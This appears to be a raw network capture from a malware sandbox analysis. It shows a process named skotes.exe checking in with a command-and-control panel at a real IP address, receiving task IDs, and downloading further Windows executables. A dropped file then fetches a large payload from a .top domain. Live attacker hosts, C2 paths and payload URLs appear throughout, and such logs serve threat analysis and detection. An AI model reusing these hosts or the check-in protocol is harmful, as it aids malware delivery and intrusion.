Nov 18, 2024 08:55:53.998773098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:55:53.998783112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:55:53.998795033 CET	1236	IN	Data Raw: 05 b8 6b aa 36 11 f4 76 99 4b f5 2b 05 bb f4 49 42 c7 08 4a e5 10 06 4c 01 1b c2 f1 62 f0 53 eb fd 8b f4 a6 ff 72 1b 73 61 67 57 f8 59 f7 2f 50 d5 cc 3d 27 01 94 5c 18 a8 ff 1b 87 d5 0f db e6 d3 3b f5 37 3e bb 90 5e fe 33 7b 26 41 09 e7 7c d3 2f Data Ascii: k6vK+IBJLbSrsagWY/P='\;7>^3{&A\|/Orw#r;sgo%?wPYUGIVIc!*yz}$z~s&?(qhWLJ+Ws%B;zwHULIb
Nov 18, 2024 08:55:53.998806953 CET	1236	IN	Data Raw: 0d c3 9d 8a d8 d5 c8 35 03 69 05 45 19 b1 92 c8 b7 e7 17 dd e7 7f a7 ae ba e8 d6 78 72 c3 4e 1d c5 c3 b3 0b 4f 11 32 3f ca d4 24 13 5b ee 83 69 6f 0a d8 2a c4 70 b8 34 37 36 09 6f 94 b5 14 66 e2 ab 4a 3e 52 b9 dd a0 09 e2 bb 7d c5 6b d3 a9 07 a8 Data Ascii: 5iExrNO2?$[io*p476ofJ>R}k/i5^uiobfjAC:9Ogu"(<Qz6AG.B<)RxUzIq2eBi@Z`hAfz)pj7q-nQ3Pp:+H39>:m0K&
Nov 18, 2024 08:55:53.998828888 CET	1236	IN	Data Raw: e0 e9 6b 0e f0 f8 f8 9a 33 1a be 0e 18 47 9e 02 da d9 a7 71 0f 63 f7 b4 41 a4 47 f3 b9 fa dd 78 05 ec 00 25 63 a5 12 87 0d 42 15 f1 91 2a 90 aa a4 c2 ff 42 5e 0a 44 2d 39 f8 19 35 cb 1c d6 a4 3e 2b fd bf fb b7 7f bc 55 e7 9a cf 67 96 d0 12 f5 ba Data Ascii: k3GqcAGx%cBB^D-95>+Ug$QX2^9NG{YUgG5\6>R3Dd 4+(!puMx%iNBJJk~yRP.$5T#Y2dmH[uTo5
Nov 18, 2024 08:55:53.998847961 CET	1236	IN	Data Raw: 26 3f 8a 7a b5 1a 6d a9 00 ca a2 49 dd 29 73 64 0b 17 74 9e a5 0f 9a 49 21 d4 a6 18 aa 17 52 dc a5 42 55 6b df ef fe b2 92 ca a8 e9 cf c2 f4 5d 03 70 44 ea 50 e9 d5 5f 42 70 c7 39 02 8b 84 c9 31 8e 52 f7 88 4e 7b 8f 8d b8 63 52 1d e4 93 cc 39 43 Data Ascii: &?zmI)sdtI!RBUk]pDP_Bp91RN{cR9C=TOc}NsV0gJDr>I`twX9i$ZLlzr',`1\lIEy;$yO3.C26WB0l,J^S'a[
Nov 18, 2024 08:55:53.998861074 CET	1236	IN	Data Raw: d2 1d 99 e0 6f 5a 64 29 2a 30 79 07 81 97 27 c5 44 df 11 5b 49 2b 68 ed c4 bd 46 a5 3a e8 3d 41 a5 ea c8 65 60 af ab ba ba e9 dd f2 d4 cc 27 15 68 a7 5a ee d8 90 18 3b 7f 23 c8 96 07 10 df 61 b7 98 ae 3f 08 a8 0c 14 c9 0a de 5b 39 b1 dc b9 19 52 Data Ascii: oZd)*0y'D[I+hF:=Ae`'hZ;#a?[9R],x!^!:,anw-hGj-x#HBR)njD)lVyj(!XVP ^5ge{zx-3
Nov 18, 2024 08:55:53.998877048 CET	1236	IN	Data Raw: f4 97 2d 4d ef 57 97 5d 0b 31 b4 59 e0 1b 77 80 69 17 60 52 14 89 13 34 f0 03 25 a1 13 d9 bf 81 e1 e9 00 67 35 1e 06 3a e1 e5 bb 27 d6 56 70 34 55 76 36 f5 db a3 14 06 01 39 ff ed d9 33 15 a6 de 48 9a 76 43 3c 0d a4 ac b7 de 03 84 69 45 34 39 0c Data Ascii: -MW]1Ywi`R4%g5:'Vp4Uv693HvC<iE49ew:o#9noHqccvP/RT TYgfZPY:\[5l002f{qNzg@{OK<H-l&(mVA:pLQkZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	50123	185.215.113.43	80	8968	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:56:51.162327051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 08:56:52.074723959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:56:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	50124	185.215.113.43	80	8968	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:56:53.603131056 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 18, 2024 08:56:54.514338017 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:56:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 30 39 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 31 30 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 31 30 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 31 30 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007095001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007104001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007105001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007106001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007107001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	50125	31.41.244.11	80	8968	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:56:54.532401085 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 18, 2024 08:56:55.412010908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:56:55 GMT Content-Type: application/octet-stream Content-Length: 4449792 Last-Modified: Mon, 18 Nov 2024 05:41:53 GMT Connection: keep-alive ETag: "673ad3a1-43e600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 20 bb 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 bb 00 00 04 00 00 f4 da 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 0f bb 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 0f bb 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9g(Hg2 H@PD@ _pes< Pel'@.rsrc `e\|'@.idata pe\|'@ P9e~'@txzlxcxt@@'@qrlkglyzC@.taggant0 "C@
Nov 18, 2024 08:56:55.412087917 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:56:55.412121058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:56:55.412173033 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:56:55.412209988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:56:55.412245989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 5~RN
Nov 18, 2024 08:56:55.412281036 CET	1236	IN	Data Raw: e3 fd 54 52 0f b8 8d a7 5b 49 0e 0e dc 72 e0 50 1e 7a 5e 4d eb b5 77 8d 40 63 3c aa 7a ac df c4 d5 1f 76 72 b4 b8 a8 55 24 db 6f 73 e0 6a aa ed 9e 7f fe 15 cb a2 c3 19 ad 86 be 20 4c 82 77 a6 e3 e9 df bf 6e 48 45 9c 44 d7 3a a0 f2 0b 72 54 5a 27 Data Ascii: TR[IrPz^Mw@c<zvrU$osj LwnHED:rTZ'Ck>YYh/o&D'+JP()E2V>%E#N9c$Z57\|}d/aZ&3f U3*X,=oo7kH0#^>emM\|VWIYB
Nov 18, 2024 08:56:55.412317038 CET	636	IN	Data Raw: 2e ee 9d cd d7 f6 c0 08 c7 37 a7 19 35 8d 97 01 e5 5c ae c7 24 b4 ce 55 ff 19 2e 42 c7 7b c3 19 47 18 43 68 fe 8f d3 18 78 fa 78 13 53 dc c1 00 ae 19 36 62 50 9b a2 74 1f 15 12 af 2c ad ae 21 0b b9 91 85 c6 bc bf 5a 6c 16 bb 64 f7 a0 ce 17 eb 5b Data Ascii: .75\$U.B{GChxxS6bPt,!Zld["\F-~UQ*2nW`:YLOgXxa-hYkfEWlG7?go7s1EW&\c~_:XCwSmSZvbQ2^~S\|#T6q&'J
Nov 18, 2024 08:56:55.412372112 CET	1236	IN	Data Raw: e6 1e 2b 3f 73 39 6b a9 83 6b 70 f1 16 9d c9 3d 8b 56 3d 86 0b 8a 5a 7b 50 b2 65 21 b8 bc 41 c3 4a 0c 12 57 ef bb c7 9b 5b 1e 44 fd 0d c9 52 59 77 7e 2a b4 f4 27 9f 06 ef 4d 40 fe b6 c3 9f e2 cd 54 48 28 c8 1d cf 7d 66 a9 bf f3 93 ae a8 04 46 2b Data Ascii: +?s9kkp=V=Z{Pe!AJW[DRYw~'M@TH(}fF+,ukeSZ9^sI`Qd=_jV;l5MLx_8EEsn`uBIHb];3buCg,Tm&RW)yDKS07Gw0Dv$nn>/*d
Nov 18, 2024 08:56:55.412401915 CET	212	IN	Data Raw: f3 59 ba 4b 25 19 32 71 e6 c5 2d 32 8c 1d 3e 64 94 b0 29 2c 68 b4 75 fe e5 94 97 1b b5 ff 48 20 e8 b0 4b 75 c5 19 9d 81 ef 2f 1e 12 c7 6c 0c 7a 54 30 0e 68 5f bc bf 15 30 5f 82 4e 28 b6 47 82 00 dc 82 db 71 bf 86 f3 71 30 32 51 c4 c2 8e 32 61 7e Data Ascii: YK%2q-2>d),huH Ku/lzT0h_0_N(Gqq02Q2a~lWOd^,7(iv~u\|CSpIf<R9TQ8n0ob3IIigQpVT*j5/vbMxb(J
Nov 18, 2024 08:56:55.417368889 CET	1236	IN	Data Raw: b4 68 a8 7f 5f c0 c1 30 f6 aa f3 dd 93 c2 5b d0 9c 70 41 05 e9 b4 d4 c2 fc f2 38 b1 bb 76 54 6b 92 9b a6 72 ea e7 92 2a f0 9a 2e ab 17 59 d7 43 5d 63 42 f8 b6 b9 0d fe 54 d8 0d 9e e3 b9 c2 ab 84 42 6a 1f ec 9c 07 a3 4a 6c eb 39 f6 7f 00 1d b5 38 Data Ascii: h_0[pA8vTkr*.YC]cBTBjJl98kGbQ8s[]V'@#RhFIbB_.6?Sm_=F:gg.[Se!r8-s7;~&Lghr^pX0ILJA4K^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	50126	185.215.113.43	80	8968	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:01.500569105 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 30 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007095001&unit=246122658369
Nov 18, 2024 08:57:02.402925968 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:57:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	50127	185.215.113.16	80	8968	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:02.718101025 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 08:57:03.982734919 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:57:03 GMT Content-Type: application/octet-stream Content-Length: 1903104 Last-Modified: Mon, 18 Nov 2024 07:41:06 GMT Connection: keep-alive ETag: "673aef92-1d0a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4b 00 00 04 00 00 40 94 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL7gDPK@K@@\p x@.rsrc @.idata @ +@ounhvdhk`0X@vwmsxuxs@K@.taggant0PK"@
Nov 18, 2024 08:57:03.982836008 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:03.982870102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:03.982904911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:03.982939959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:03.982975006 CET	636	IN	Data Raw: 52 3a 82 91 1c 3b 49 d4 6e 83 d2 67 e1 86 73 df fa 46 ca 67 04 da 9e 5c db b7 4a 77 2f 98 b7 3b 2b 18 e5 48 da 82 a1 3c d0 b5 41 d6 d6 f4 b4 a8 ec c1 53 11 db c8 9d e3 b0 e1 d9 1d 7f 42 5f 69 7d d9 20 1e f4 91 80 07 0b 84 2d 43 cf c3 5d 64 78 9b Data Ascii: R:;IngsFg\Jw/;+H<ASB_i} -C]dx1=Bj;x.rECJFVuv<gP}~6$VI:z<]GjYc+U#x%]\$*uH1Wb\D5\V%F[{1xf><\qRd(1 _C_`b(;@WrIO
Nov 18, 2024 08:57:03.983010054 CET	1236	IN	Data Raw: dc f4 96 30 c1 8d be 12 40 39 e1 0c 60 aa 49 cf 43 a3 a2 f3 bb 8e 46 68 e3 2c 98 0f 08 d6 3c 8c a3 a1 2a 14 3d 03 64 a3 7b 17 9b 8d ba 37 26 aa fc a7 5b 28 78 da 32 aa 5f cc a8 3e 91 ba 63 c7 58 37 09 08 5a 8b 58 17 5d db 81 54 3d b8 69 88 53 47 Data Ascii: 0@9`ICFh,<=d{7&[(x2_>cX7ZX]T=iSG'-z>3S)fB3wve& >`#=Z_V$a UJ37YAn4T+b)GU4k:o?w><eoWfZ&<K6Q!38o"*g2j[!3hXM:yHT
Nov 18, 2024 08:57:03.983045101 CET	1160	IN	Data Raw: 00 61 9c 4c a5 a7 80 62 5b 04 25 20 fd 61 95 23 59 c3 52 2e dc 85 5a 31 44 ca 52 aa 4f 9a a9 94 33 0e e6 02 99 1a cf 17 45 b2 bf c2 5a 8b a8 1c 54 8e b7 c6 e5 1a 1a c2 1d da 75 c9 1b 75 67 e6 9c 56 7f 65 66 69 de 57 4e a4 af 06 d7 26 84 52 b6 41 Data Ascii: aLb[% a#YR.Z1DRO3EZTuugVefiWN&RA($3fbv:TE@b+z?23tlyBW`RSh6iJxEA_H $?`&BA.mWl_RLc[4{)Kw:0HU<Ijk$[QJezNGG
Nov 18, 2024 08:57:03.983082056 CET	1236	IN	Data Raw: 9f 5a 8e 2e 15 79 79 59 eb d2 60 10 9c d9 5d 1b 8a 69 c8 80 ab 5d 13 d3 db 0b 40 fa 40 58 9a 19 02 11 e7 f9 b7 36 26 b8 6d b4 b6 0d 69 2a a1 33 17 63 7b c2 25 99 2b 76 69 45 9e 8e f7 a7 39 f9 a7 6f fb 87 5f 2b 37 5c d9 29 c3 ab 67 0b c8 78 43 4a Data Ascii: Z.yyY`]i]@@X6&mi*3c{%+viE9o_+7\)gxCJ:3Z-_[PB&k]^VXkC3};Y=F,7%H5BT3\$NW\cg&jW}GHkmeCdbViF=.>J!){$a8Jk\m
Nov 18, 2024 08:57:03.983114004 CET	212	IN	Data Raw: 94 9a 69 43 30 0d b0 6f 4c 73 47 3a 10 01 a7 9f ca d4 e5 22 5b 78 4c 62 f6 5e d4 3b b1 c3 23 1b a0 b4 8f d0 75 65 8e 3e f8 97 40 91 1f 8e 40 33 a8 be 9b f9 00 9f d8 02 8e 14 53 6a 37 30 0b a3 52 31 44 72 ab b7 72 be d8 8d ea 2e 52 56 22 12 2a 92 Data Ascii: iC0oLsG:"[xLb^;#ue>@@3Sj70R1Drr.RV"iE&-AEOt@n)#Em+L,Y_:O4V(N_X(2UtIIXfV";>%Z[Qk9w))?x'&:
Nov 18, 2024 08:57:03.988989115 CET	1236	IN	Data Raw: 3b f2 20 0e 6b 92 2f d5 f4 90 49 34 d3 f8 65 76 5c 02 fe 37 3e af 6b 24 28 37 78 f2 e6 c9 68 2c 55 d9 7b ad 3f 5f d3 b1 59 ba ce 7c 19 dd 23 db 7e 19 4d 55 1a 10 65 57 e4 89 72 14 a8 46 67 b5 2b 97 9f 3a 85 4f 9f a7 df 99 78 62 ad c9 d0 b8 d2 c9 Data Ascii: ; k/I4ev\7>k$(7xh,U{?_Y\|#~MUeWrFg+:Oxb)FL\:@NCtKk@K^ )L?D>yn#bGg)WFnYiBf? JYX#J}XVViW@bbCYhD3voHx7,BN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	50128	62.76.234.151	80	7460	C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:04.494957924 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 18, 2024 08:57:05.484772921 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 18 Nov 2024 07:57:05 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
